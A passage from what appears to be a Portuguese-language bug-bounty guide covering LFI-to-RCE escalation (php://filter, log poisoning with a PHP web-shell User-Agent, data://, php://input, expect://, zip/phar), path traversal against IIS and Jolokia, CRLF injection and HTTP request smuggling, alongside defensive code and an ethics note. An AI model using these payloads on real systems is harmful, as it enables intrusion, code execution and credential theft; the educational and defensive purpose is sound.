Não é RCE direto, mas é o primeiro passo: ler o **fonte** das páginas. Se você incluir um `.php` diretamente, ele **executa** e você só vê o HTML de saída, não o código. O wrapper `php://filter` resolve isso: ele aplica um filtro de conversão (base64) **antes** da inclusão, então o que volta é o fonte codificado, sem executar:

```
GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/2
Host: alvo.com
```

A resposta vem em base64; você decodifica e lê o `config.php` com as credenciais:

```
echo "PD9waHAgJGRiX3Bhc3M9..." | base64 -d
# <?php $db_pass="..."; ...
```

> **Por que base64?** Porque o fonte tem `<`, `>`, `?` e quebras que sujariam a resposta ou seriam interpretados. Codificar em base64 entrega o conteúdo **íntegro e cru**. Esse wrapper funciona sem `allow_url_include` (é fluxo local). Existe também a técnica avançada de **PHP filter chains** (encadear filtros pra *gerar* bytes arbitrários e chegar a

> RCE só com `php://filter`) — automatizada pelo `php_filter_chain_generator.py` da Synacktiv; documentada no HackTricks — LFI2RCE via PHP Filters.

2) Log poisoning — envenenar o log e incluí-lo

A ideia é linda na sua simplicidade: o servidor **escreve o que você manda** em arquivos de log (User-Agent, URL, etc.). Se você consegue **ler** esse log via LFI, e ele contém código PHP que você plantou, o `include` **executa** esse código.

Passo 1 — envenenar. Mande uma request cujo `User-Agent` é PHP. O Apache grava isso no `access.log`:

```
GET / HTTP/1.1
Host: alvo.com
User-Agent: <?php system($_GET['cmd']); ?>
```

Passo 2 — incluir o log e disparar o comando:

```
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=id HTTP/2
Host: alvo.com
```

Quando o PHP inclui o `access.log`, ele encontra `<?php system($_GET['cmd']); ?>` no meio do texto e **executa** — rodando `id`. Saída esperada: `uid=33(www-data) gid=33(www-data)`. Note que o caminho do log varia: Apache em Debian/Ubuntu é `/var/log/apache2/access.log`; em RHEL/CentOS é `/var/log/httpd/access_log`; Nginx é `/var/log/nginx/access.log`.

> .
>
> **Por que funciona:** o `include` do PHP não liga se o arquivo se chama `.log` — ele lê o conteúdo e executa **qualquer** trecho `<?php ... ?>` que encontrar. O log virou um arquivo PHP "sujo" que você controla parcialmente.
>
> **Variante poderosa — envenenar o log do WAF (visto na máquina CyberWaf, HackingClub).** Quando o alvo roda **ModSecurity**, há uma ironia útil: o WAF que **bloqueia** seu ataque também **registra** a request inteira no log de auditoria (`modsec_audit.log`). Ou seja, mesmo levando `403 Forbidden`, seu payload **foi gravado**. Se esse log é incluível via LFI, você o envenena *através do próprio WAF* e depois inclui pra executar: ```bash
>
> # 1) o WAF bloqueia (403), mas grava o User-Agent com PHP no modsec_audit.log
>
> curl -s -A '' "http://alvo/?x=' OR '1'='1"

2) inclui o log de auditoria via LFI e dispara o comando

curl -s -b "PHPSESSID=..." "http://admin.alvo/admin?log=../../../../../var/log/apache2/modsec_audit&cmd=id" `` O caminho/extensão dependem do SecAuditLog` configurado.
Lição: "o WAF bloqueou" ≠ "o payload sumiu" — ele pode estar guardado num log que você consegue incluir.

3) Wrappers que executam diretamente

PHP tem wrappers que entregam código pra inclusão sem precisar de log. Cada um tem um pré-requisito de configuração — **saiba qual**, porque é isso que define se vai funcionar:

```
# data:// — embute o payload na própria URL (base64). Decodificado:
#   <?php system($_GET['cmd']); ?>
# PRÉ-REQUISITO: allow_url_include = On
GET /index.php?page=data://text/
plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id HTTP/2
```

```
# php://input — o corpo do POST É o código incluído.
# PRÉ-REQUISITO: allow_url_include = On
POST /index.php?page=php://input&cmd=id HTTP/2
Content-Type: text/plain

<?php system($_GET['cmd']); ?>
```

```
# expect:// — executa comando direto no shell.
# PRÉ-REQUISITO: extensão "expect" carregada (não vem por padrão)
GET /index.php?page=expect://id HTTP/2
```

Resumo dos pré-requisitos (confirmado em The Hacker Recipes — PHP wrappers and streams):

Técnica	Precisa de	Default?
`php://filter` (ler fonte)	nada (fluxo local)	funciona
Log poisoning	conseguir ler o log + escrever nele	depende do app
`data://`	`allow_url_include = On`	Off por padrão
`php://input`	`allow_url_include = On`	Off por padrão
`expect://`	extensão `expect` instalada (não usa `allow_url_include`)	raríssimo
`zip://` / `phar://`	conseguir **subir/escrever** um arquivo no servidor	depende de upload

Técnica	Precisa de	Default?
`phar://` (desserialização)	gadget/POP chain na base de código	só PHP < 8.0

E o `/proc/self/environ`: em sistemas Linux antigos, esse "arquivo" contém as variáveis de ambiente do processo, **incluindo o User-Agent** que você enviou. Mesma lógica do log poisoning: injete PHP no `User-Agent`, inclua `/proc/self/environ`, e o PHP nele executa. Hoje costuma vir com permissão de leitura restrita, mas é parte do repertório clássico.

4) `zip://` e `phar://` — quando você consegue subir um arquivo

Se a app tem **upload** (mesmo de imagem/anexo) **e** um LFI, esses dois wrappers transformam um arquivo seu em código executável:

- **`zip://`** — você sobe um `.zip` contendo um `shell.php` lá dentro e aponta o LFI pra ele. O wrapper usa `#` pra separar o arquivo interno (a `#` precisa ir URL-encoded como `%23`):

```
# o upload virou /uploads/payload.zip e dentro dele há "shell.php"
GET /index.php?page=zip://./uploads/payload.zip%23shell.php&cmd=id HTTP/2
```

- **`phar://`** — duplamente útil. (a) Como container: sobe um `.phar` (ou um polyglot `.jpg` que também é `.phar` válido) com código dentro e inclui `phar://./uploads/x.jpg/shell.php`. (b) Como gatilho de **desserialização**: ao tocar um `.phar` com **qualquer** função de filesystem (`file_exists`, `fopen`, `include`, `is_file`...), o PHP **desserializa automaticamente os metadados** do Phar — e se existir uma POP chain (gadget) na base de código, isso vira RCE *sem nem precisar incluir o arquivo*.

> **Pré-requisitos e limites.** `zip://` / `phar://` não dependem de `allow_url_include` (são fluxo local), mas **dependem de você conseguir colocar o arquivo no servidor** (upload, log, qualquer escrita controlada). A desserialização automática do `phar://` foi **desativada no PHP 8.0** — em alvo moderno conte com o uso "container" (incluir código de dentro do arquivo), não com a desserialização. Documentado no The Hacker Recipes — PHP wrappers and streams e no paper de referência BlackHat 2018 — "It's a PHP Unserialization Vulnerability...".

Caso real-fictício: Path Traversal sem autenticação em IIS/ASP.NET

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está testando `app.exemplo.com`, um sistema de consulta de relatórios sobre **IIS / ASP.NET**. Há um endpoint que recebe o nome do arquivo num parâmetro `file`. Não exige login.

Passo 1 — Confirmar. No Repeater, troco o valor do `file` por um path traversal apontando pra um log do Windows (inofensivo, sempre presente):

```
POST /consulta/relatorio HTTP/1.1
Host: app.exemplo.com
Content-Type: application/x-www-form-urlencoded

file=..\..\..\..\..\..\..\windows\debug\mrt.log    # <- traversal aqui
```

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Content-Type: text/plain

Microsoft Windows Malicious Software Removal Tool ...
Successfully Submitted MRT telemetry ...
```

O servidor devolveu o conteúdo do `mrt.log` — leitura arbitrária confirmada, **sem autenticação**.

Passo 2 — Subir o valor. Agora aponto pra arquivos de configuração do sistema e da aplicação, que valem de verdade:

```
file=..\..\..\..\..\..\windows\System32\drivers\etc\hosts
```

```
file=..\..\..\..\web.config    # <- strings de conexão / segredos do .NET
```

Se o `web.config` voltar com `<connectionStrings>`, você tem credenciais de banco — e o report sai de "leitura de arquivo" pra "exposição de credenciais".

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Request o parâmetro `file` com a sequência de `..\` destacada em vermelho; na Response o `200 OK`, header `Server: Microsoft-IIS/8.5` e o corpo com o conteúdo do arquivo do sistema. Em uma PoC responsável, **pare** no `hosts` / `win.ini` — não dumpe o `web.config` inteiro num programa real sem necessidade; documente que ele é alcançável.

Passo 3 — Report. Título: `[Path Traversal] Leitura arbitrária de arquivos sem autenticação via parâmetro "file"`. Resumo no risco ao negócio: "*qualquer pessoa não autenticada consegue ler arquivos do servidor (config, logs, segredos), o que permite roubo de credenciais e movimentação lateral*". Passos numerados + prints. Calibre a severidade pelo que **você de fato provou**:

- **Leitura arbitrária de arquivo, sem autenticação** (o que foi comprovado aqui): `CWE-22` (Path Traversal).

- **CVSS v3.1:** `7.5` (Alto) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (pela rede, sem login, sem interação; só confidencialidade — você lê, não escreve).
- **CVSS v4.0 (CVSS-B):** `8.7` — `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (mesmo perfil; o estrago fica no sistema vulnerável, sem impacto subsequente — é o vetor do Heartbleed, exemplo oficial do FIRST).
- **Se escalar pra RCE** (log poisoning/wrapper executando comando): aí muda de classe — `CWE-98` (*Improper Control of Filename for Include/Require em PHP* — o nome oficial enfatiza *PHP Remote File Inclusion*) e o vetor canônico de RCE remoto sobe pra **v3.1** `9.8` (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) / **v4.0** `9.3` (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`).

> **Não copie o número da v3.1 pra v4.0** — recalcule na calculadora oficial v4.0. E reporte o que **provou**: se só leu arquivo, é `7.5` / `8.7`; só suba pra `9.8` / `9.3` quando demonstrar execução de comando. (Como calibrar score e citar CWE: capítulo de Severidade & Impacto; como estruturar o report pra pagar: capítulo de Report que paga.)

Bônus — traversal "embrulhado": LFI no Jolokia

Um padrão que aparece em stacks Java/Spring: o **Jolokia** (ponte HTTP pra MBeans do JMX) exposto via Spring Boot Actuator. O MBean `DiagnosticCommand` tem a operação `compilerDirectivesAdd`, que recebe um **caminho de arquivo** e, ao falhar, devolve o conteúdo dele numa mensagem de erro — efetivamente um LFI sem autenticação. O caminho usa `!` como separador (sintaxe do Jolokia):

```
GET /actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/
compilerDirectivesAdd/!/etc!/passwd HTTP/1.1
Host: app.exemplo.com
```

A resposta JSON `200` traz o `/etc/passwd`. Lição: traversal/LFI nem sempre é um parâmetro `file=` óbvio — às vezes está **embrulhado** numa API de gerenciamento exposta sem querer. Isso conversa com o capítulo de Security Misconfiguration & CVE Hunting, porque a raiz aqui é um endpoint de management exposto. Toolkit de referência: jolokia-exploitation-toolkit.

Defesa em camadas

Não existe bala de prata única — você combina camadas. E a regra mestra: **nunca concatene input do usuário direto num caminho de arquivo.**

1. Allowlist de arquivos (a defesa mais forte). Se o conjunto de arquivos servíveis é conhecido, mapeie um identificador → caminho. O usuário **nunca** vê nem controla o caminho real:

```
// CORRETO — o usuário escolhe uma CHAVE, não um caminho
$permitidos = [
    'fatura'   => '/var/www/docs/fatura.pdf',
```

```
    'manual'   => '/var/www/docs/manual.pdf',
];
$key = $_GET['doc'] ?? '';
if (!isset($permitidos[$key])) {
    http_response_code(404);
    exit;
}
readfile($permitidos[$key]);   // caminho 100% controlado pelo servidor
```

2. Canonicalize e valide o prefixo (quando precisa aceitar nome de arquivo). Resolva o caminho **real** (eliminando `../`, symlinks) e confirme que ele ainda está **dentro** da pasta permitida:

```
// PHP — realpath() resolve ../ e symlinks; depois checa o prefixo
$base = realpath('/var/www/uploads');
$alvo = realpath($base . '/' . basename($_GET['file']));  // basename tira diretórios

if ($alvo === false || strpos($alvo, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(403);
    exit;   // tentou sair da pasta -> bloqueado
}
readfile($alvo);
```

```
// Node.js — path.resolve canonicaliza; verifica se ainda começa na base
const path = require('path');
const base = path.resolve('/var/www/uploads');
const alvo = path.resolve(base, path.basename(req.query.file)); // basename remove ../

if (!alvo.startsWith(base + path.sep)) {
  return res.sendStatus(403);
}
res.sendFile(alvo);
```

```
// Java — getCanonicalPath resolve ../; compara com a base canônica
File base = new File("/var/www/uploads").getCanonicalFile();
File alvo = new File(base, new
File(req.getParameter("file")).getName()).getCanonicalFile();

if (!alvo.getPath().startsWith(base.getPath() + File.separator)) {
    resp.sendError(403);
    return;
}
Files.copy(alvo.toPath(), resp.getOutputStream());
```

> **Por que `realpath` / `getCanonicalPath` e não regex?** Porque tentar "limpar" `../` na mão é um jogo perdido — sempre tem um encoding, um aninhamento, um `....//` que escapa (vide a seção de bypass inteira acima). Canonicalizar pede pro **próprio SO** resolver o caminho final, e aí você compara o resultado **real** com a base. É robusto porque trabalha *depois* de toda a ofuscação ter sido resolvida.

3. Desligue o que você não usa (defesa de configuração PHP):

```
; php.ini — corta RFI e os wrappers de RCE de uma vez
allow_url_fopen  = Off
allow_url_include = Off
; remova a extensão "expect" se estiver instalada
```

4. Isolamento (jail/chroot/container). Mesmo que algo escape, limite o estrago: rode o processo num **chroot** ou container com sistema de arquivos mínimo e usuário sem privilégio. Assim, ler `/etc/passwd` devolve o passwd vazio do container, e não há `web.config` cheio de segredo ao alcance. É a camada de "contenção de dano".

5. Não interprete o que não precisa ser interpretado. Se é pra *baixar* um arquivo, use `readfile` / `sendFile` (lê e manda os bytes) — **nunca** `include` / `require` (executa). Trocar a função certa elimina a classe LFI→RCE inteira.

> **O que NÃO basta:** dar um `str_replace('../', '', $x)` (aninhamento e encoding furam); confiar que `.php` colado no fim "protege" (`php://filter` e null byte legado contornam); validar só no front-end; usar blocklist de nomes de arquivo (sempre falta um). A allowlist + canonicalização é o que de fato fecha.

Ferramentas + labs legais

- **Burp Suite** — Repeater (trocar payloads), Intruder (varrer profundidade de `../` e listas de arquivos). Extensão de wordlists úteis.
- **ffuf / nuclei** — fuzzing de parâmetro e templates de LFI/traversal prontos.
- **LFISuite / fimap / dotdotpwn** — fuzzers especializados em traversal/LFI (úteis pra automatizar bypass de encoding).
- **`php_filter_chain_generator.py`** — gera filter chains pra LFI→RCE só com `php://filter`.
- **Labs pra praticar (autorizados):**
- PortSwigger Web Security Academy — File path traversal (a melhor fonte gratuita; todos os bypasses têm lab).
- OWASP WSTG — Testing for Local File Inclusion.
- **DVWA** (módulo *File Inclusion*, com níveis low→high), **bWAPP**, TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

- [ ] Mapeei todo parâmetro com cheiro de arquivo (`file`, `path`, `page`, `template`, `doc`, `download`, `lang`...).
- [ ] Confirmei com arquivo inofensivo: `/etc/passwd` (Linux) ou `win.ini` (Windows).
- [ ] Testei profundidade de `../` "de sobra" (6–10) e caminho absoluto.
- [ ] Tentei bypass de prefixo de pasta (`/base/../../../etc/passwd`).

- [ ] Tentei bypass de filtro: `....//`, encoding `%2e%2e%2f`, **duplo encoding** `%252e..`, UTF-8 `..%c0%af`.
- [ ] Testei null byte `%00` (só faz sentido em legado com extensão forçada).
- [ ] Se for PHP: `php://filter` pra ler fonte; avaliei log poisoning, `data://`, `php://input`, `expect://`, `/proc/self/environ`.
- [ ] Se houver **upload** + LFI: tentei `zip://` / `phar://` (subir arquivo com código e incluí-lo).
- [ ] Procurei arquivos de **valor** (config, `.env`, `web.config`, chaves) — sem dumpar dado real de cliente.
- [ ] Avaliei se dá pra **escalar pra RCE** (define severidade crítica).
- [ ] Conferi que a falha **está no escopo** do programa.

Pegadinhas / o que NÃO funciona

- **`%00` em PHP moderno** não funciona (corrigido no 5.3.4). Só conta em legado/CTF.
- **RFI** quase sempre falha — `allow_url_include` vem `Off`. Não perca tempo demais nele.
- **Incluir um `.php` direto** te dá só a *saída* (HTML), não o fonte. Pra ler o código, use `php://filter`.
- **`data://` / `php://input` / `expect://`** dependem de configuração que raramente está ligada. Teste, mas não conclua "não tem LFI" só porque o wrapper falhou — `php://filter` e log poisoning podem funcionar mesmo assim.
- **Filtro que remove `../` uma vez** dá falsa sensação de segurança: `....//` derruba ele. Não confunda "filtrado" com "seguro".
- **Path do log varia por distro** (`apache2` vs `httpd`, Nginx). Testar um caminho só e desistir é erro comum.

O que você precisa lembrar

- **Path Traversal** = sair da pasta pretendida pra **ler** arquivo arbitrário (`../`, encoding, caminho absoluto).
- **LFI** = a aplicação **inclui/interpreta** o arquivo → leitura **e** potencial **execução** (clássico PHP).
- A raiz é sempre a mesma: **input do usuário concatenado num caminho de arquivo** sem validação.
- O valor está no que você lê (config/segredos > `/etc/passwd`) e em **escalar pra RCE** (wrappers, log poisoning).
- A defesa que fecha: **allowlist** + **canonicalização** (`realpath` / `getCanonicalPath`) + checar prefixo da base. Nunca `include` quando é só pra baixar.

> **Dica de ouro:** quando achar leitura de arquivo, **não pare no `/etc/passwd`**. Esse arquivo só *prova* a falha. O bounty grande está em fazer duas perguntas: "qual config

> com segredo eu alcanço daqui?" e "isso vira execução de comando?". A diferença entre R$500 e R$5.000 mora exatamente nessas duas perguntas.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Ao provar a falha, leia **arquivos inofensivos** (`/etc/passwd` , `win.ini`) e **pare**: não baixe dados de clientes, não dumpe bancos, não rode comandos destrutivos. A PoC mínima que demonstra o risco é mais valiosa — e ética — do que o dano. Ler arquivos de sistemas de terceiros sem autorização é crime, e desnecessário quando existe tanto lab bom pra treinar. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- PortSwigger — File path traversal (conceito + todos os labs de bypass)
- OWASP — Path Traversal
- OWASP WSTG — Testing for Local File Inclusion
- PayloadsAllTheThings — File Inclusion
- The Hacker Recipes — PHP wrappers and streams (LFI to RCE)
- HackTricks — LFI2RCE via PHP Filters
- Synacktiv — php_filter_chain_generator (LFI2RCE só com php://filter)
- BlackHat 2018 — Phar:// stream wrapper / PHP unserialization (Sam Thomas)
- jolokia-exploitation-toolkit (LFI/RCE via Jolokia exposto)
- reddelexc/hackerone-reports — Top File Reading reports

CRLF Injection e HTTP Request Smuggling: quebrando o protocolo

Quando uma quebra de linha vira a sua arma

O HTTP parece simples: você manda um texto, o servidor responde outro texto. Mas é justamente nessa simplicidade que mora o perigo. O protocolo é **delimitado por caracteres invisíveis** — uma quebra de linha aqui, uma sequência de bytes ali — e cada servidor, proxy, CDN e load balancer no caminho **interpreta esses delimitadores do seu jeito**. Quando dois deles discordam sobre "onde termina um header" ou "onde termina uma request", o atacante entra no meio e brinca de mestre de marionetes.

> **Proxy / CDN / load balancer**: intermediários que ficam entre você e o servidor de aplicação — recebem sua request, talvez filtram/cacheiam, e repassam pra trás (o "front-end" do capítulo). Detalhe de proxy no Glossário.

Este capítulo junta dois bugs que parecem distintos mas têm a **mesma raiz**: abusar de como o HTTP é parseado.

1. **CRLF Injection** — você injeta uma quebra de linha (`%0d%0a`) onde o servidor não esperava e passa a **escrever headers/conteúdo na resposta**.
2. **HTTP Request Smuggling** (também chamado de **HTTP desync**) — você faz o front-end e o back-end **discordarem sobre onde sua request termina**, e "contrabandeia" uma request escondida dentro da outra.

CRLF é um ótimo bug de entrada (acessível, didático, paga de algumas centenas de reais). Request smuggling é um dos bugs mais **temidos e bem pagos** do mercado — e um dos que mais confundem. A meta aqui é deixar os dois **cristalinos**, sem saltos lógicos, pra você replicar em qualquer alvo autorizado.

O que é, na real (a analogia do envelope)

Imagina que toda request HTTP é um **envelope** com regras rígidas de formatação. Cada **linha** termina com dois caracteres invisíveis: `\r\n` (carriage return + line feed — o famoso **CRLF**). Uma **linha em branco** (`\r\n\r\n`) marca o fim dos headers e o começo do corpo.

```
GET /perfil HTTP/1.1\r\n
Host: alvo.com\r\n
Cookie: sessao=abc\r\n
\r\n              <- linha em branco: acabaram os headers
```

Os dois bugs deste capítulo exploram esses delimitadores:

- **CRLF Injection** é quando você consegue **inserir um `\r\n` no meio de um valor** que o servidor vai copiar pra dentro da resposta (tipicamente num header `Location` de redirect ou num header refletido). É como conseguir **escrever uma linha a mais no envelope de resposta** que o servidor está montando pra você. De repente você não está mais preenchendo *o valor* de um header — você está **criando um header novo** (ou até quebrando pro corpo da resposta).
- **HTTP Request Smuggling** acontece quando dois servidores no caminho **não concordam sobre onde sua request termina**. O HTTP/1.1 tem **duas formas** de dizer o tamanho do corpo: o header `Content-Length` (tamanho em bytes) e o `Transfer-Encoding: chunked` (corpo em pedaços). Se o front-end usa uma regra e o back-end usa outra, sobra um "pedaço" da sua mensagem que o back-end interpreta como **o início da próxima request** — a request de outra pessoa.

> **Analogia do smuggling:** é como passar por dois seguranças na fila do cinema. O primeiro (front-end) só lê o título do seu ingresso e libera. O segundo (back-end) conta as poltronas. Você forja o ingresso de um jeito que o primeiro vê "1 lugar" e o segundo vê "1 lugar + um bilhete extra colado atrás". O bilhete extra (sua request contrabandeada) entra **como se fosse legítimo**, porque o primeiro segurança já "aprovou".

Por que isso importa (e quanto paga)

O impacto varia bastante entre os dois:

CRLF Injection sozinho costuma ser **Baixo a Médio** — você prova que injeta um header arbitrário na resposta. Mas o valor sobe rápido quando você **escala**:

- **Set-Cookie malicioso / session fixation** — injetar um `Set-Cookie` que fixa a sessão da vítima (você força um ID de sessão conhecido por você no navegador dela e depois reusa).
- **XSS via response splitting** — quebrar pro corpo da resposta e injetar HTML/JS (quando o navegador renderiza).
- **Open redirect / cache poisoning** — manipular `Location` e/ou envenenar cache (fazer o CDN guardar uma resposta maliciosa sua e servi-la pra outros usuários).

Faixa típica: de **R$150 a R$1.000** pra um CRLF refletido simples; mais se você escalar pra XSS ou poisoning.

HTTP Request Smuggling é outro patamar. Por afetar **todos os usuários** que passam pela mesma conexão, costuma ser **Alto a Crítico** e pagar **de milhares a dezenas de milhares de reais**:

- **Bypass de controles do front-end** — alcançar `/admin` que o front-end bloqueava.

- **Captura de requests de outros usuários** — roubar cookies/tokens de quem usa o site ao mesmo tempo que você.
- **Response queue poisoning** — embaralhar a fila de respostas e servir a resposta de A pro usuário B.
- **Escalar XSS/cache poisoning** pra base inteira de usuários, sem interação.

> **Cheque o escopo e teste com cuidado.** Smuggling pode **afetar usuários reais** (você pode envenenar a fila e derrubar requests legítimas). Muitos programas pedem cuidado redobrado; alguns proíbem testes agressivos de desync. Leia as regras antes.
>
> **Para dimensionar a severidade no report** (calcule sempre no contexto do seu alvo — os vetores abaixo são referência de um cenário comum):
>
> - **CRLF refletido (header injection, sem escalada confirmada)** — geralmente **Médio**.
> - **CVSS v3.1: 6.1** (`AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`)
> - **CVSS v4.0: 5.3** (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:L/SA:N`)
> - **HTTP Request Smuggling (captura de requests / response queue poisoning)** — geralmente **Alto a Crítico**.
> - **CVSS v3.1: 8.7** (`AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N`)
> - **CVSS v4.0: 9.4** (`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`)
>
> O `AC:H` reflete que o ataque depende de uma **discrepância de parsing entre front-end e back-end** que você não controla (condição honesta de pontuar). Note como o v4.0 **sobe** em relação ao v3.1 aqui: ele pesa mais o **impacto em sistema subsequente** (SC/SI:H — outros usuários), enquanto o v3.1 amortecia via Scope.
>
> No v4.0 não existe mais o flag de Scope (`S`); o "salto" entre o componente vulnerável e o impactado é expresso pelas métricas **SC/SI/SA** (Subsequent System), o que encaixa bem em CRLF/smuggling, onde quem sofre o impacto costuma ser **outro usuário** ou o **cache/CDN**.

Como funciona por trás

CRLF: o servidor copia sua entrada pra dentro da resposta

O caso clássico é um parâmetro que vai parar num **header de resposta** sem sanitização. Pense num redirect:

```
// VULNERÁVEL — joga a entrada do usuário direto no header Location
header("Location: /" . $_GET['url']);   // <- nenhuma validação de \r\n
```

Se você pede `?url=conta`, a resposta é:

```
HTTP/1.1 302 Found
Location: /conta
```

Mas se você manda `?url=%0d%0aSet-Cookie:%20sessao=injetada`, o `%0d%0a` é decodificado pra `\r\n` **dentro do valor do Location**. A resposta vira:

```
HTTP/1.1 302 Found
Location: /
Set-Cookie: sessao=injetada       # <- header que VOCÊ criou, não o servidor
```

Você não preencheu mais "o valor do Location" — você **iniciou uma nova linha de header**. Esse é o coração do CRLF: a quebra de linha que você injeta é **a mesma** que o servidor usa pra separar headers.

Smuggling: Content-Length vs Transfer-Encoding

No HTTP/1.1, o corpo de uma request pode ser delimitado de **duas maneiras** (RFC / PortSwigger):

Mecanismo	Como funciona
`Content-Length: N`	O corpo tem exatamente **N bytes**.
`Transfer-Encoding: chunked`	O corpo vem em **pedaços (chunks)**: cada chunk = tamanho em **hexadecimal** + `\r\n` + dados + `\r\n`. Um chunk de tamanho `0` encerra o corpo.

A spec diz que, se os dois headers aparecem, o `Transfer-Encoding` **tem precedência** e o `Content-Length` deve ser ignorado. O problema: **nem todo servidor obedece**. E numa arquitetura típica (CDN/load balancer na frente, servidor de aplicação atrás), basta o front-end seguir uma regra e o back-end outra.

Lembrete de como é um corpo `chunked` válido:

```
POST / HTTP/1.1
Host: alvo.com
Transfer-Encoding: chunked

b              # <- chunk de 0x0b = 11 bytes (em hexadecimal!)
hello world
0              # <- chunk de tamanho 0 encerra o corpo
```

> **O detalhe que todo mundo erra:** o tamanho do chunk é em **hexadecimal**, não decimal. `b` = 11 bytes. Errar isso é o motivo número 1 de "meu smuggling não funciona".

Tipos e variações

CRLF Injection

Variação	Onde ocorre
Header injection	Sua entrada reflete num header de resposta (`Location` , header customizado, `Set-Cookie`).
HTTP Response Splitting	Dois CRLFs (`%0d%0a%0d%0a`) fecham os headers e te jogam **pro corpo** — dá pra injetar HTML/JS.
Set-Cookie injection	Injetar um cookie (fixation / sobrescrever flags).
Log injection	A entrada vai pra um log multi-linha — forja entradas falsas.

HTTP Request Smuggling

A nomenclatura é `[front-end].[back-end]` — qual header cada um obedece:

Variante	Front-end usa	Back-end usa	Ideia
CL.TE	`Content-Length`	`Transfer-Encoding`	Front conta bytes; back lê chunks.
TE.CL	`Transfer-Encoding`	`Content-Length`	Front lê chunks; back conta bytes.
TE.TE	`Transfer-Encoding`	`Transfer-Encoding`	Ambos suportam TE, mas você **ofusca** o header (`Transfer-Encoding:\tchunked` , espaços, duplicação) pra que **um** deles ignore.
H2.CL / H2.TE	HTTP/2 (length nativo)	HTTP/1.1 (CL ou TE)	Surge no **downgrade** de HTTP/2 → HTTP/1.1 (mais abaixo).

Recon — como encontrar

Caçando CRLF

Procure **todo lugar onde sua entrada pode acabar num header de resposta**:

- **Redirects** — parâmetros tipo `?url=` , `?redirect=` , `?next=` , `?returnTo=` , `?post_logout_redirect_uri=` . O valor costuma ir pro `Location` .
- **Headers refletidos** — às vezes um parâmetro reflete num header customizado.
- **Path e query** — alguns servidores refletem partes da URL em headers.

Junte URLs e parâmetros com as ferramentas de recon (já vimos isso a fundo no capítulo Recon & Discovery) e injete o probe em cada um:

```
# gau lista URLs históricas; httpx valida quais respondem.
echo alvo.com | gau | grep -Ei 'url=|redirect=|next=|return' | httpx -mc 200,301,302
```

O **probe de CRLF** é simples: injete um header marcador e veja se ele aparece na resposta.

```
/%0d%0aMeuHeader:injetado       # se "MeuHeader: injetado" voltar na resposta -> CRLF
```

> **Dica:** sempre olhe a resposta no modo **Raw** do Burp, não no Pretty. O CRLF é sobre os bytes brutos da resposta — o Pretty pode mascarar a quebra de linha que você injetou.

Caçando Smuggling

Aqui o sinal é **timing (atraso)**, não conteúdo refletido. Você manda uma request maliciosa e mede se o servidor **trava esperando bytes que nunca vêm**. Ferramenta certa:

- **HTTP Request Smuggler** — extensão oficial do Burp (BApp Store), escrita pelo **James Kettle** (PortSwigger), que automatiza a detecção por timing de CL.TE, TE.CL, TE.TE, desync de downgrade HTTP/2 e mais. Clica com o botão direito na request → *Extensions → HTTP Request Smuggler → Smuggle probe*.

Mais sobre as ferramentas básicas (gau, httpx, Burp) está no capítulo Recon & Discovery.

Exploração passo a passo (do básico ao avançado)

CRLF — Nível 1: injetar um header

No Repeater, pegue um endpoint de redirect e injete o marcador:

```
GET /redirect?url=%0d%0aX-Injetado:%20PoC HTTP/1.1
Host: alvo.com
```

Se a resposta contiver:

```
HTTP/1.1 302 Found
Location:
X-Injetado: PoC           # <- header injetado: CRLF confirmado
```

CRLF confirmado. (Se o `%0d%0a` não passar, tente variações: `%0D%0A`, `%E5%98%8A%E5%98%8D` — bytes Unicode que alguns parsers normalizam pra CRLF — ou só `%0a`.)

CRLF — Nível 2: response splitting → XSS

Dois CRLFs **fecham os headers** e te levam pro corpo. Se o navegador renderizar como HTML, vira XSS refletido:

```
GET /oauth/idp/logout?
post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1
Host: alvo.com
```

A resposta resultante:

```
HTTP/1.1 302 Found
Location:

<script>alert(document.domain)</script>   # <- corpo controlado pelo atacante
```

> Esse mecanismo é o mesmo do **CVE-2023-24488** (Citrix ADC / Gateway): o parâmetro `post_logout_redirect_uri` do endpoint `/oauth/idp/logout` refletia a entrada no `Location` sem filtrar CRLF, permitindo quebrar pro corpo e executar JS. A PoC pública usava um payload no estilo `?post_logout_redirect_uri=%0D%0A%0D%0A<body onload=alert(document.domain)>` (o `<script>` acima é a versão didática — o vetor é idêntico). Referência oficial: Citrix CTX477714. CVSS atribuído ao CVE: **v3.1 6.1** (`AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` , Médio). (XSS a fundo já tem capítulo próprio neste guia — aqui é só pra mostrar a **escalada** do CRLF.)

Smuggling — Nível 3: detecção por timing (CL.TE)

A request de detecção CL.TE (PortSwigger):

```
POST / HTTP/1.1
Host: alvo.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
```

